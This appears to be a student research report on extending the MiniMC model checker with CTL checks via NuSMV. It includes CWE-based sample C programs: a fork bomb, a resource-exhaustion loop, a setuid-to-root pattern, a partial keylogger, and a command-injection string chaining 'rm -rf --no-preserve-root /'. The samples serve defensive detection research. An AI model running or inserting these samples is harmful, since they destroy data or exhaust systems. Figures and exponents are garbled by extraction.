φ is AG φ1: return SAT(¬EF ¬φ1)

3: end case
4: end function

dealing with temporal operators such as AF where the algorithm needs to iterate
over the states until no more states can be labelled, it can not be computed directly.
Proving that the algorithm will terminate and have correctness proofs are constructed
but will not be shown in this report. The remaining of the SAT-function will also not
be shown in this report, however we reference the book Logic in Computer Science:
Modelling and Reasoning about Systems [19, page 240-245].

The labelling algorithm run in linear time in terms of the model size however the
model itself can often become exponentially large in terms of number of variables
and components. As a consequence of this, a simple boolean value will double the
size of the model. This can lead to state space explosion problems as mentioned in
Section 2.3.1. To circumvent this problem some model checkers use an efficient data
structure called ordered binary decision diagrams (OBDDs), which represents sets of
states instead of each individual state.[19]

2.5.1 Binary Decision Diagrams

A BDD is a data structure that can represent a boolean function. It is a directed
acyclic graphs (DAG) with each node representing a variable, with leaves representing
a boolean value, and each edge representing the value of the variable in the predecessor
node. It is an optimised variant of a binary decision tree. Figure 2.11 shows a decision
tree for a function f(x, y). To find f(0, 1), starting at the root of the tree and follow
the dashed edge, which represent the value 0. At node y the value of the function is
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Algorithm 3 The SAT Algorithm for the temporal connective AF. X and Y are
program variables which contains sets of states. S is a set of states.[19].

1: function SATAF(φ)
2: /* determines the set of states satisfying AF φ */
3: local var X, Y
4: X ← S
5: Y ← SAT(φ)
6: repeat
7: X ← Y
8: Y ← Y ∪ pre∀(Y )
9: until X = Y

10: return Y
11: end function

AFψ1
AFψ1

AFψ1

Figure 2.9: All subformulas are labelled with
AFψ1

AFψ1

AFψ1
AFψ1

AFψ1

Figure 2.10: Because all subformulas are la-
belled AFψ1, the root node can also be la-
belled that.

1, so following the solid edge the value of the terminal node is 0, thus 0 is the result
of the function. If a function f has n possible boolean values, then the tree will have
a least 2n+1 − 1 nodes.[19]

The BDD in Figure 2.11 can be optimised because the only non terminal values
are 0 and 1. If multiple occurrences of the same non terminal node exists, then its
possible to merge them into one and all nodes with an edge to a nonterminal node
with the values are linked to it by a pointer. Figure 2.12 is an example of this. This
optimisation will save storage space due to the reduced amount of nonterminal nodes,
but there are still the same number of edges as before.[24]

The BDD in Figure 2.12 can be further optimised by removing the terminal nodes
which are not needed. The right y node is not needed because it is possible to end at
the node if its either 0 or 1.[19] Thus the node can be removed to save more storage
space and we end with a BDD shown in Figure 2.13. A third way a BDD is optimised
is by sharing sub-BDDs in a similar way to nonterminal nodes. Because BDDs can
share leaves they are not categorised as binary decision trees. We can define a BDD
as:
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x

y

1 0
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0 0

Figure 2.11: Binary Decision Tree. A dashed
line represents the value 0 and a solid line
represents the value 1.

x

y

1 0

y

Figure 2.12: Binary Decision Diagram. Mul-
tiple occurances of the same leaf node has
been removed. A dashed line represents the
value 0 and a solid line represents the value
1.

x

y

1 0

Figure 2.13: Binary Decision Diagram multiple occourances of the same nodes removed. A dashed
line represents the value 0 and a solid line represents the value 1.

Definition 9 (Binary Decision Diagram). A BDD is a finite DAG with a unique initial
node, where all terminal nodes are labelled with 0 or 1 and all non-terminal nodes
are labelled with a boolean variable. Each non-terminal node has exactly two edges
from itself to others, labelled 0 and 1. We represent them as a dashed and a solid
line, respectively[19]

Ordered BDD

Ordering a BDD can significantly reduce the size of the BDD. An Ordered BDD
(OBDD) is defined as:

Definition 10 (Ordered Binary Decision Diagram). Let [x1, ..., xn] be a unique ordered
list of variablesand let B be a BDD where all variables occur somewhere in the list.
We say that B has the ordering [x1, ..., xn] if all variable labels of B occur in the list
and, for every occurrence of xi followed by xj along any path in B, we have i < j.
An OBDD is a BDD which has an ordering for some list of variables.[19]

A function like (x1+x2) · (x3+x4) · (x2n−1+x2n) can be ordered in multiple ways.
Ordering by natural ordering [x1, x2, x3, x4] where x1 will become the root node in
the BDD and x2 will become a child of the root node, in the BDD and so forth.
The BDD will have 2n+1 − 1 nodes. Whereas an ordering such as [x1, x3, x2, x4] will
result in the BDD have 2n + 1 nodes. Finding the optimal ordering is an expensive
operation, but heuristics exist which will be able to find a good ordering.[7, 19, 24,
25]
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The following chapter presents how we enriched MiniMC with CTL. Section 3.1 de-
scribes the adaption of the MiniMC representation to support CTL. Followed by
Section 3.2, which describes the addition of NuSMV itto MiniMC. Due to state space
explosion being an issue we present an algorithm for state space reduction in Sec-
tion 3.3.

3.1 Adapting MiniMC to CTL Analyses

This section describes how we have adapted MiniMC to support CTL analyses. It
does so, by describing the changes made to the MiniMC program representation,
and how these changes affect the analyses, as well as how NuSMV was implemented
into MiniMC. The paper „Design and Synthesis of Synchronization Skeletons Using
Branching-Time Temporal Logic“ by Clarke & Emerson[22] and the book Logic in
Computer Science: Modelling and Reasoning about Systems by Huth & Ryan[19] are
used as references for this section.

Section 2.1 describes the MiniMC program representation while CTL analysis uses
Kripke structures. The difference between the MiniMC representation and a Kripke
structures is that for Kripke structures, the instructions are contained within the
nodes of the structure. This means that the instructions must be moved from the
edges of the CFA to the nodes. Specifically, the instructions are found on the incom-
ing edges of the nodes. When moving instructions to the location nodes we must also
consider the registers that are used in these instructions.[19, 22]

While the CFA locations within MiniMC contains a set of active registers, the
registers within are those active throughout the entire function described by the CFA.
However, the registers of interest are those who appear in each location.

To enable an analysis that is sensitive to certain function calls, it is necessary to
record information about the called functions. This is done in multiple steps, one of
which is to expand the logic that interprets functions that are not defined within the
analysed program itself. An example of these are library functions such as abs()

that are defined in the standard library., while an example of a function with a non-
deterministic behaviour is the printf() function that returns an integer depending
on the length of the input. However printf() is incompatible with the MiniMC

23
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ϵstart I I

II

Figure 3.1: A Kripke structure representation. ϵ denotes no instructions, while I denotes instructions
in the node.

representation as it takes a variable amount of input arguments as input. This is
not possible to represent in MiniMC as the number of input arguments is fixed for a
specific function. As the string input can be of arbitrary length, doing an analysis of
program behaviour with explicit values for possible string inputs is not feasible. This
means that the printf() function is not supported by MiniMC.

Listing 3.1: An example of an undefined function, undefined() .

1 int dummy () { return 2+2; }
2

3 int main() {
4 int a = dummy();
5 int b = undefined ();
6 return 0;
7 }

In Listing 3.1, MiniMC correctly classifies the function dummy() as a function
returning an integer. However, the function undefined() is not defined within the
program. This means that it is not possible for MiniMC to determine the return
value of the function. It is therefore also classified as a NonDet integer function.

3.1.1 Expanding the Current MiniMC Representation

It is not strictly required but beneficial to expand the current representation, in
order to perform CTL analysis on a program representation. One expansion is the
addition of compatible datatypes within MiniMC, such as adding limited support for
floating point numbers. As such, the current implementation supports the presence
of float as a datatype, but does not support the actual float values. This change
was made using the LLVM implementation of floating point numbers to recognize
these and insert them into the MiniMC representation. Another expansion is to add
information to the instructions themselves.

MiniMC has several instruction types, where among these the three address code
TAC operations are of significance. A TAC operation is an operation that takes two
operands and produces a result, which is then stored in a variable. An example of a
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TAC operation is the addition operation, which takes two operands and produces a
result.

MiniMC also has Call instructions, which are used to call functions. These have
been expanded with a field containing the name of the called function.

Every instruction type inherits from the Instruction class, which contains an
InstructionCode that is used to identify the instruction type.

Listing 3.2: Instruction struct and a Call instruction.

1 struct Instruction {
2 public:
3 /* Constructor hidden for abbreviation */
4 private:
5 InstructionCode opcode;
6 Instruction_content content;
7 };
8

9 struct CallContent {
10 Value_ptr res;
11 Value_ptr function;
12 std::vector <Value_ptr > params;
13 std:: string func_name;
14 };
15

16 template <>
17 struct InstructionData <InstructionCode ::Call > {
18 /* Content hidden for abbreviation */
19 static const std:: size_t operands = 1;
20 static const bool hasResVar = false;
21 using Content = CallContent;
22 };

The addition of the func_name field is intended to make the analysis of CallContent

easier, as it becomes possible to quickly retrieve the name of the called function. This
is done by accessing the information about the called function and adding it to the
CallContent struct.

3.2 NuSMV as a CTL Engine

This section is based on the NuSMV 2.6 User Manual by Cavada et al. [26] and
NuSMV: a new symbolic model checker by Fondazione Bruno Kessler [27]. The sec-
tion describes the NuSMV model checker and its input language, in order to give an
understanding of how this can be used in MiniMC.

NuSMV is a symbolic model checker used for verification of finite state systems.
It is a reimplementation and extension of the CMU SMV model checker.[27] NuSMV
contains a symbolic model checker based on BDDs as well as a SAT-based model
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checker. NuSMV uses the CUDD package1, to work with these BDDs which are used
to control memory through variable ordering. The reordering is triggered automati-
cally if the amount of nodes reaches a threshold which is initialised at the start of a
run and will be dynamically changed when a reordering has been done.[26] NuSMV
allows for specifications of CTL properties.[26] NuSMV version 2.6 is used in this
project for verification of CTL properties. It is available from their website2.

3.2.1 NuSMV Input Syntax

NuSMV has a type system in the input language as well as certain reserved keywords.
For demonstrative purposes, the following example is used:

Listing 3.3: An example of a SMV file.

1 MODULE main
2 VAR a: {0, 2, 4, 8};
3 VAR b: {1, 2, foo , bar};
4 VAR c: boolean;
5 ASSIGN init(a) := 0;
6 ASSIGN init(b) := foo;
7 ASSIGN init(c) := FALSE;
8 ASSIGN next(a) :=
9 case

10 a = 0 : 2;
11 a = 2 : 4;
12 a = 4 : 8;
13 TRUE : a;
14 esac;
15 ASSIGN next(b) :=
16 case
17 b = foo : bar;
18 b = bar : 1;
19 b = 1 : 2;
20 TRUE : b;
21 esac;
22 ASSING next(c) :=
23 case
24 c = FALSE : TRUE;
25 TRUE : c;
26 esac;
27 CTLSPEC
28 EF (a > 3);

Types in NuSMV consists of booleans, integers, enumerations, words, arrays and sets.
Booleans and integer types are declared using the boolean and integer keywords
respectively. Integers can be declared with a set of values or a range of values.
An example of an integer type is seen on line 2 in Listing 3.3, where an integer

1CUDD is a C library to facilitate working wiht BDDs.
2http://nusmv.fbk.eu

http://nusmv.fbk.eu
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enum is assigned with the values 0, 2, 4, and 8. An example of an integer range is
VAR a: 1 ... 5000 , for a range from 1 to 5000. These ranges and value sets reduce

some issues within model checking such as state space explosion, but can also limit
the expressiveness of the model. Enumerations can contain either symbols, integers
or a combination of symbols and integers. They are declared using curly brackets
and a list of values as seen on line 3 in Listing 3.3, where an symbolic-and-integer
enum is assigned with the values 1, 2, foo, and bar.

Program Model The model of a program in NuSMV consists of one or more modules.
One of these must be the main module. The main module is the entry point of the
program. A module can be declared using the MODULE keyword and are the basic
building blocks of NuSMV.

Declarations Declarations are a type of block in NuSMV, each declaration types
has its own syntax, the full syntax can be found in NuSMV 2.6 User Manual .[26]
Of these the most important for this project are VAR , ASSIGN and CTLSPEC . VAR

is used to declare variables, such as the a and locations variables in Listing 3.3.
ASSIGN is used to assign values to variables through transitions, as well as assigning

initial values to variables. All variables in NuSMV must be assigned an initial value.
CTLSPEC is used to declare CTL specifications.

Expressions Expressions are used to in all the previously mentioned elements of the
NuSMV input language. As an example ASSIGN a := 1 consists of the identifier a

and the basic expression on the left side of the assignment. Operators can be used
to combine expressions such as mathematical operators and comparison operators.

3.2.2 Implementing NuSMV in MiniMC

The NuSMV model checker has been chosen as a reference implementation, for im-
plementing CTL into MiniMC. NuSMV is a model checker for the temporal logic
CTL[26], and is written in C, is licenced under the GNU-GPL. NuSMV is no longer
maintained, but is still available for download from the NuSMV website3. In order
for NuSMV to compile on modern systems, some changes to the source code were
necessary. These changes can be found in Appendix A as well as in our patched
version of the NuSMV repository4.

NuSMV allows for both single line and multi line variable blocks, as shown in
Listings 3.4 and 3.5 respectively. While the multiline format is more readable, the
single line format is more compact. Both formats are equally expressive, and can
be used interchangeably. For MiniMC we have chosen the single line format, as it is
more compact and easier to parse, as well as more permissive when outputting smv
files.

3http://nusmv.fbk.eu/
4https://github.com/Zaph-x/NuSMV-patched

http://nusmv.fbk.eu/
https://github.com/Zaph-x/NuSMV-patched
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Listing 3.4: Multi line VAR block

1 VAR
2 a: boolean;
3 b: integer;
4 c: {1, 2, 3};

Listing 3.5: Single line VAR blocks

5 VAR a: boolean;
6 VAR b: integer;
7 VAR c: {1, 2, 3};

As only certain sections of the NuSMV input has a specific format, we have
chosen to use a more separated format for the rest of the input. We define an SMV
file as beginning with a sequence of blocks, where a block consists of variable values,
followed by transitions and an initial state. The SMV file ends with a specification
block, which contains the CTL formula to be checked. For the CTL specifications, we
have created pre-defined CTL specs, that can be invoked using specific words, such
as unsafe_fork . However the user can also write their own CTL specifications, and
invoke as a command line argument.

Listing 3.6: The generated SMV file based on a double free

1 -- Output generated automatically by MiniMC
2 MODULE main
3 VAR locations : {main -bb0 , main -bb2 , ..., main -bb11};
4 ASSIGN next(locations) :=
5 case
6 locations = main -bb0 : {main -bb2};
7 locations = main -bb2 : {malloc -bb0};
8 locations = malloc -bb0 : {malloc -bb2};
9 locations = malloc -bb2 : {malloc -bb3};

10 locations = malloc -bb3 : {main -bb3};
11 locations = main -bb3 : {main -bb1};
12 locations = main -bb1 : {main -bb6 , main -bb10};
13 locations = main -bb6 : {main -bb7};
14 locations = main -bb7 : {main -bb16};
15 locations = main -bb16 : {free -bb0};
16 locations = free -bb0 : {main -bb14 , main -bb17};
17 locations = main -bb17 : {main -bb13};
18 locations = main -bb13 : {free -bb0};
19 locations = main -bb10 : {main -bb11};
20 locations = main -bb11 : {main -bb13};
21 TRUE : locations;
22 esac;
23 ASSIGN init(locations) := {main -bb0};
24 ASSIGN next(main -reg5) :=
25 case
26 locations = main -bb2 : {Assigned };
27 locations = free -bb0 : {NonDet };
28 locations = free -bb0 : {NonDet };
29 TRUE : main -reg5;
30 esac;
31 VAR main -reg5 : {Unassigned , Assigned , NonDet };
32 ASSIGN init(main -reg5) := {Unassigned };
33 ASSIGN next(main -reg8) :=
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34 case
35 locations = main -bb3 : {Assigned , Compared };
36 TRUE : main -reg8;
37 esac;
38 VAR main -reg8 : {Unassigned , Assigned , Compared };
39 ASSIGN init(main -reg8) := {Unassigned };
40 CTLSPEC
41 AG (( locations = free -bb0 & main -reg5 = Assigned) -> EX(AF (

locations = free -bb0 & main -reg5 = NonDet)));

Listing 3.7: The C program used to generate the NuSMV input

1 #include <stdlib.h>
2

3 int main(void) {
4 int a = 1;
5 int *p = malloc(sizeof(int));
6 if (a == 1) {
7 free(p);
8 }
9 free(p);

10 return 0;
11 }

The model shown in Listings 3.6 and 3.7 presents an example of how the NuSMV
input is structured when an output is generated from a C program. The variable
locations is a symbolic enumerable, and is used to represent the basic blocks of the

programs. Locations are used to control the state changes of the other variables in
a program, as these are modified in specific locations. They are created by taking
incoming transitions and representing the instructions happening along the edge as
occuring within the basic block. As such a basic block contains an assignment, and
the result register for that assignment will be set if the location has been reached.
On line 26 in Listing 3.6 we see an example of how the variable locations is used
to control the transitions of the main-reg5 variable. Particularly for the transition
going from main-reg5 = Unassigned to main-reg5 = Assigned , the location is checked
to be main-bb2 . Furthermore, each variable must have a true transition, which is a
transition that occurs when no other transitions are possible.

3.3 State Space Reduction

This section describes the state space reduction technique that we have implemented.
Furthermore, we touch on the reduction of states as a result of this implementation.

MiniMC generates empty edges, which are edges that do not change the state of
the system, but still needs to be explored. This is a problem, as it increases the size
of the state space, which increases the time needed to analyse the model. We have
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implemented a state space reduction technique, which removes empty edges from the
model. This reduces the size of the state space, and thereby the time needed to
analyse the model. Before any state space reduction, a model may look as shown in
Figure 3.2.

l0start l1 l2 l3 l4

l5l6l7

ϵ ϵ

ϵ

fork()

ϵfork()

ϵ

ϵ

Figure 3.2: State space before reduction, on a model representing a fork bomb with two calls to
fork().

The algorithm we use to remove empty edges is shown in Algorithm 4. The
algorithm is a recursive algorithm, which starts at the initial location of the model
and removes empty edges from the model. This is done by finding a location that
has no instructions and exactly one outgoing edge. If such a location is found, the
outgoing edge is removed and the algorithm is called recursively on the next location.
This is done until a location with more than one outgoing edge or an instruction
is found. By removing the empty edges, the state space is reduced, as shown in
Figure 3.3.

l0start

l4l5l6l7

ϵ

fork()ϵfork()

ϵ

Figure 3.3: State space after reduction, on a model representing a fork bomb with two calls to fork().

We further reduce the state space by removing unused instructions from registers
used in the model. We do this because the SSA form used by MiniMC means every
instruction in a program generates a new register. This means for every instruction
in the model, a new register is added to the state space. This is done by finding
all registers used in the model, and then removing all states from the registers that
are not used by any instruction in the model. For a model with 66 registers we
were successfully able to reduce the state space over registers from approximately
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Algorithm 4 Recursive state space reduction algorithm for MiniMC.
1: procedure FindReductionCandidate(l: location)
2: if l has no instructions & l has exactly one outgoing edge then
3: next← GetLocationFromCFA(l.next0)
4: return FindReductionCandidate(next)
5: end if
6: return l
7: end procedure
8:
9: procedure StateSpaceReduction(l: inital location)

10: if l has no instructions & l has exactly one outgoing edge then
11: l′ ← FindReductionCandidate(l)
12: if l′ is not l then
13: ClearTransitions(l)
14: AddNext(l, l′)
15: end if
16: end if
17: l.visited← true
18: AddToReducedSet(l)
19: for l′ ∈ l.next do
20: next← GetLocationFromCFA(l′)
21: if next is not nullptr & next.visited is false then
22: StateSpaceReduction(next)
23: end if
24: end for
25: end procedure
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1.23720 · 1058 to approximately 6.39695 · 1033 states5. This is a percentage change
of approximately 1.93405 · 1026% and enough to make analysis of the model possible
within a reasonable time frame.

3.3.1 CTL Specification Substitution

Not all specifications contain registers with the same state. The current implementa-
tion only assigns a possible state to a register, if the register is used in an instruction
that would result in this state. Therefore not all registers are assgined the same states,
and as such, the same specification can not be applied to all variables. Because of
this, we have implemented a way to check for if a specification can be applied to a
register. This works for specifications which are defined to have register substitution
applied to them. We do this by iterating over every register when creating the spec-
ification, and checking if the variable is assigned the state that the spec requires. If
the register is not assigned the state, we do not add the CTL specification to the
model.

Algorithm 5 CTL specification substitution algorithm for MiniMC.
1: for spec ∈ Predefined CTL Specifications do
2: for reg ∈ Registers do
3: spec′ ← Substitute(spec, reg)
4: if ∃r : r ∈ reg.states ∧ r /∈ spec.states then
5: spec′ ← ϵ
6: end if
7: end for
8: Result← Result+ spec′

9: end for

Algorithm 5 is used to check if a specification can be applied to a register. This
makes the CTL analysis more robust, as it removes many errors that would otherwise
occur. By substituting the specification with ϵ, we ensure that the specification is
not applied to the register if the register does not contain the required state. This
is done for every register in the model, and for every specification that is defined to
have register substitution applied to it.

5This is an estimate, as it is based on the average amount of states on registers, rounded up to
the nearest integer. The amount may in reality be much smaller.
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The following chapter presents the programs which have been used to evaluate the
implementation of NuSMV in MiniMC. The programs are based on CWEs from the
CWE database [1]. These programs are chosen to cover a variety of different CWEs.
Furthermore, the programs are also chosen to be small enough to be able to be
analyzed by MiniMC in a reasonable time.

4.1 Results

This section presents some results of the implementation of NuSMV in MiniMC. We
also cover what we were not able to analyse and why this is the case.

4.1.1 Unsafe Fork Operations

We define an unsafe fork operation as a fork operation that always eventually will
lead to itself again. This is commonly known as a fork bomb, and is a common way
to crash a system by using up all the available resources. In Listing 4.1 we have an
example of a fork bomb.

Listing 4.1: A fork bomb. The MiniMC representation can be found in Appendix B, along with the
LLVM and NuSMV represenation.

1 int main() {
2 while (1) {
3 fork();
4 }
5 }

The code will fork a new process in each iteration of the while-loop, and since the
while-loop never terminates, the program will eventually run out of resources. This
can cause the system to become unresponsive. This behaviour is detectable with a
CTL expression that checks if it is globally true always, that a fork operation will
eventually lead to the same state again. Such behaviour can be expressed as:

AG (fork -> AX AF fork)

Because MiniMC assigns an ID to each basic block, the actual expression contains
the ID of the basic block instead of the name, and looks as following:

33
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AG (locations = fork-bb0 -> AX (AF locations = fork-bb0))

As the expression states that it is always globally true that a fork operation will
eventually lead to the same state again, the CTL expression will be true if the program
contains a set of operations leading to unsafe forking. This expression will not be true
if the program does not contain any unsafe non-terminating fork operations, such as
if instead of a while-loop, a for-loop is used.

We modify the fork program in Listing 4.1 to use a for-loop instead of a while-
loop. This way, the call to fork() occurs an amount of times limited by the guard
of the for-loop. The following code is the terminating fork bomb program:

Listing 4.2: A terminating fork bomb.

1 int main() {
2 for(int i = 0; i < 2; i++) {
3 fork();
4 }
5 }

If the CTL expression to check for unsafe non-terminating fork operations is used on
the terminating fork bomb, the result is evaluated to false, as it no longer fits the
specification:

AG (locations = fork-bb0 -> AX (AF locations = fork-bb0))

The program will eventually terminate, thus the expression will not evaluate true.
To prove that the expression is not true, NuSMV provides a counterexample. As
the actual values contained in the guard is not included in the model, we simply
show that the transition out of the for-loop exists. A counterexample is provided in
Appendix C.

The CTL expression can be modified to check whether the program contains
multiple calls to the fork function:

AG (locations = fork-bb0 -> AX (EF locations = fork-bb0))

This expression will check if it is always globally true that a fork() will in one state
in the future lead to a fork() again. This expression will be true since it is not
always the case that the second fork operation will be executed.

This updated expression can be invoked from the commandline in MiniMC by
calling unsafe_fork . It has been bundled with the other CTL expressions. When
invoked on a program containing a terminating fork bomb, the first expression will
return false and a counterexample will be presented, while the updated will return
true.

4.1.2 Uncontrolled Resource Consumption

This program uses excessive CPU power and memory allocations to a point where a
system may become unresposive.
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Listing 4.3: The uncontrolled resource consumption program.

1 #define MAX_SOCKETS 100
2 void consume_cpu_power (){
3 double a = 0.0;
4 for (int i = 0; i < 100; i++){
5 result += i * i;
6 }
7 }
8 void consume_memory (){
9 int size = 100;

10 int *array = malloc(sizeof(int) * size);
11 int a = size * 30;
12 free(array);
13 }
14 int main(){
15

16 int sockets[MAX_SOCKETS ];
17 while (1){
18 for (int i = 0; i < MAX_SOCKETS; i++){
19 sockets[i] = socket(AF_INET , SOCK_STREAM , 0);
20 int pid = fork();
21 }
22 consume_cpu_power ();
23 consume_memory ();
24

25 for (int i = 0; i < MAX_SOCKETS; i++){
26 close(sockets[i]);
27 int pid = fork();
28 }
29 }
30 }

This program is a variation of the CWE-400 vulnerability.[13]. It will allocate exces-
sive memory, keep opening sockets, and fork repeatably. To use the CPU the program
keeps calling consume_cpu_power() where it performs useless multiplication. Since all
function calls are wrapped in a while-loop that never terminates, this program will
keep allocating memory and opening sockets until the system ultimately becomes
unresponsive. Creating a socket is a cheap operation, however keeping the socket
open and receiving connections is an expensive operation.

We notice that this program contains the pattern of a fork bomb. It is therefore
possible to use the CTL expression from the unsafe fork operation, and it will return
true. A CTL expression that checks if a socket is opened followed by closing it again
is created, and is expressed as follows:

E[(locations != close-bb0) U (locations = socket-bb0)] ->
AX (EF locations = close-bb0)

This expression will evaluate to true in NuSMV and can be invoked in MiniMC
by calling out_of_control . Both the unsafe fork expression and the uncontrollable
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resource consumption expression can be invoked at the same time, by using the pre-
defined CTL expression cwe_400 .

4.1.3 Double Free

This section presents a program that contains a double free vulnerability identified
as CWE-415[1]. Listing 4.4 is a rudimentary program that contains a double free
vulnerability.

Listing 4.4: The double free program.

1 int main(){
2 int a = some_value ();
3 char *ptr = malloc(sizeof(char));
4 if (a == 42){
5 free(ptr);
6 }
7 free(ptr);
8 return 0;
9 }

The program allocates memory for a pointer and then frees it twice, if a condition has
been met. When the same memory block is freed twice, the memory management is
corrupted, leading to undefined behaviour where the program can behave arbitrarily.
In some cases, it can cause later malloc calls to return the same pointer, which could
give an attacker control over the data in the memory block.

This vulnerability can be expressed in CTL by using the following expression:

AG ((locations = free-bb0 & %1 = Assigned)
-> EX(AF (locations = free-bb0 & %1 = NonDet)))

This CTL expression checks that for all future paths, that a state exists where the
location is free-bb0 and a register is Assigned . The expression implies that there
exists a next state where all future states of the program is in the free-bb0 location
and the register is NonDet . NonDet is assigned to a register, when it is freed using
free() . Similar to the previous example, this CTL expression can be invoked in the

commandline in MiniMC by calling double_free .

XOR File Content This section shows how CTL can check that a C-program per-
forms an xor operation on the content of a file. The program simulates a very sim-
plistic form of obfuscation. To illustrate this the xor operation is performed on the
content of a file. The program is shown in Listing 4.5.

Listing 4.5: This program xors the content of the file with a byte and writes it to the output file.

1 int main(){
2 FILE *fileIn , *fileOut;
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3

4 fileIn = fopen("file.txt", "rb");
5 fileOut = fopen("file.out.txt", "wb");
6

7 int byte;
8 while ((byte = fgetc(fileIn)) != EOF) {
9 byte ^= XOR_BYTE;

10 fputc(byte , fileOut);
11 }
12

13 fclose(fileIn);
14 fclose(fileOut);
15 return 0;
16 }

An expression can be defined to check if some content is xored and written to a
file, thus obfuscating the content. This is expressed by the following CTL expressions:

EG ((locations = fopen-bb0 & %1 != Xor )
-> EX(EF(locations = fputc-bb0 & %1 = Xor)))

The expression checks that the program will always open a file where a wildcard
register %1 is unassigned. Afterwards, the program will perform a write operation
to a file, where the same wildcard register %1 is assigned a value that is xored.

We note there are several ways it is possible to write to files, using C. In this
example, we have chosen to use the fputc() function, but it is also possible to use
the fwrite() function. The fwrite() function writes a number of bytes to a file,
and it is possible to write the entire content of a file using this function. The fputc()

function writes a single byte to a file. This makes the CTL expression specific to this
program, as it depends on a specific file writing function, where another could be
used instead. This variations using fputc() and register wildcards can be invoked
from the command line in MiniMC by calling xor_files .

4.1.4 Elevated Privileges

Elevated privileges is when a program is run as root on a Linux system or as adminis-
trator on a Windows system. Note, that both Windows and Linux operation system
have different implementations which requires a user to input a password before a
program can be run as root or administrator. Furthermore, both Windows and Linux,
use different implementations to check for and assign elevated privileges. Linux uses
integer ids to determine the privilege of a user, where 0 is root and anything 1000
or above is a normal user. Therefore, the pattern that the program in Listing 4.6
focuses on calling a function that sets the user id to 0, which means that the program
will be executed as root. Note also, on Linux there are several functions, similar to
setuid() that can enable root privileges for a user.

Listing 4.6: The elevated privileges program.
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1 int main() {
2 // Check if the user is root
3 if (getuid () != 0) {
4 if (setuid (0) != 0) {
5 printf("Failed to set UID to 0. You may not have

sufficient permissions .\n");
6 return 1;
7 }
8 if (getuid () != 0) {
9 printf("Failed to set UID to 0. You may not have

sufficient permissions .\n");
10 return 1;
11 }
12 }
13 /* Some vulnerable code here */
14

15 return 0;
16 }

Listing 4.6 in particular is not compatible with MiniMC, which will be discussed
further in Section 5.1, but has been created to display the aforementioned pattern.
The program will check if the user has root permissions. If not it will set the user id
to 0, giving them root permissions, and subsequently execute vulnerable code, with
the new permission sets. It is important to note that this program will only run, if
the binary executable is both owned by the root user, and has the setuid bit set. This
bit is set by the command chmod u+s <executable> , which will set the setuid bit for
the owner of the file. This means that the program will be run as the owner of the
file, which in this case is root.

EG(locations = getuid-bb0 -> EX(EF (locations = setuid-bb0)))

This CTL expression checks that a path exists where the location is getuid-bb0

and setuid-bb0 is visited in the future. It can be extended to check if any code is
executed after the setuid() function is called. An example, using a crude notation
of the above CTL expression being extended to call system() , can be seen below.
One such system call is able to execute any command on the system, which is why it
is a common target for attackers.

EG(getuid -> EX(EF(setuid)) -> AF(system))

The CTL expression can be executed by using the setuid command-line argument
when running MiniMC.

4.1.5 Command Injection

The program in Listing 4.7 is inspired by CWE-78 and deals with command injection,
as discussed in Section 1.2.[14]



4.1. Results 39

Listing 4.7: The command injection program.

1 int main() {
2 char arg [100] = " a;rm -rf --no-preserve -root /";
3 char command [100] = "usr/bin/cat";
4 strcat(arg , command);
5 system(arg);
6 }

Although this program can be run without root permissions, root permissions are
required to perform most malicious actions. We are not able to pass arguments from
the user in MiniMC, and the current implementation of the CTL module in MiniMC
does not model this. Instead this program has been modified to have a malicious
argument from a “user” in the arg array. The call system() will call cat which
will fail or execute, depending if the file a exits. Because a command is chained
onto the argument, this command will be executed after cat , and recursively delete
the root directory. This behaviour is captured by the CTL expression:

EG ((locations = strcat-bb0) -> (EX (locations = system-bb0)))

It can be invoked from MiniMC command line by calling command_injection . The
program in itself is not a critical vulnerability, however combined with a privilege
escalation, this could be used to perform malicious actions. If the CTL expression
was to be combined with the previously mentioned expression for privilege escalation,
the expression would be:

EG(locations = getuid-bb0 -> EX(EF (locations = setuid-bb0))
-> EG ((locations = strcat-bb0) -> (EX (locations = system-bb0))))

This expression is not included in the MiniMC extension, however it models a po-
tentially malicious behaviour, and can be used to check for command injection with
elevated privileges.

4.1.6 Keyboard Logger

The program shown in Listing 4.8 finds the device file for the keyboard, and reads an
event from it. Device files are Linux-specific implementations that allow programs to
read a state and act on it, such as an input from a keyboard.

Listing 4.8: An abbreviation of the keylogger program. A full version can be seen in Appendix E.

1 static int is_char_device(const struct dirent *file){
2 /* variable initialisation */
3 snprintf(filename , sizeof(filename), "%s%s", INPUT_DIR , file ->

d_name);
4 err = stat(filename , &filestat);
5 if(err){ return 0; }
6 return S_ISCHR(filestat.st_mode);
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7 }
8

9 char *get_keyboard_event_file(void){
10 /* variable initialisation */
11

12 num = scandir(INPUT_DIR , &event_files , &is_char_device , &
alphasort);

13 if(num < 0){ return NULL; }
14 else {
15 for(i = 0; i < num; ++i){
16 int32_t event_bitmap = 0;
17 int fd;
18 int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;
19 snprintf(filename , sizeof(filename), "%s%s", INPUT_DIR ,

event_files[i]->d_name);
20 fd = open(filename , O_RDONLY);
21

22 /* continue if no filedescriptor is -1 (not found) */
23

24 ioctl(fd , EVIOCGBIT (0, sizeof(event_bitmap)), &
event_bitmap);

25 if(( EV_KEY & event_bitmap) == EV_KEY){
26 // The device acts like a keyboard
27 ioctl(fd , EVIOCGBIT(EV_KEY , sizeof(event_bitmap)),

&event_bitmap);
28 if(( kbd_bitmap & event_bitmap) == kbd_bitmap){
29 keyboard_file = strdup(filename);
30 close(fd);
31 break;
32 }
33 }
34 close(fd);
35 }
36 }
37 /* free pointers and return keyboard_file string */
38 }

Some sections of the program has been abbreviated for readability, but can be
found in Appendix E.1 We have removed the parts of the program, where the actual
file is read, as our CTL expression mainly focuses on the action of finding this file,
as that can be deemed malicious in cases where a keylogger is analysed. Once the
program has access to the file, it can act arbitrarily on the input, such as sending
it to a server or storing it in a file. This implementation of a keylogger does not
require multithreading, and can be run as a daemon in the background. Parts of the
program contain functions that accept variable arguments, which is not yet supported
by MiniMC, and as such we have not been able to analyse the program in MiniMC.
A CTL spec that should be able to check the program has been created, but not
verified in MiniMC. We note that modern spyware uses more advanced techniques.
Furthermore, we also note that in order for this program to actually be malicious,

1The unabbreviated version of the code can be found at https://github.com/SCOTPAUL/keylog

https://github.com/SCOTPAUL/keylog
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it would need to be run as a user with elevated privileges, as it needs to access the
device files.

EG(EF(locations = scandir-bb0 -> EX(EF (locations = open-bb0))
-> EX(EF(locations = ioctl-bb0) -> EX(EF(locations = ioctl-bb0))
-> EX(EF(locations = close-bb0)))))

This CTL expression checks if there exists a path, where a chain of specific calls
to functions is made. The chain starts with scandir-bb0 , followed by open-bb0 ,
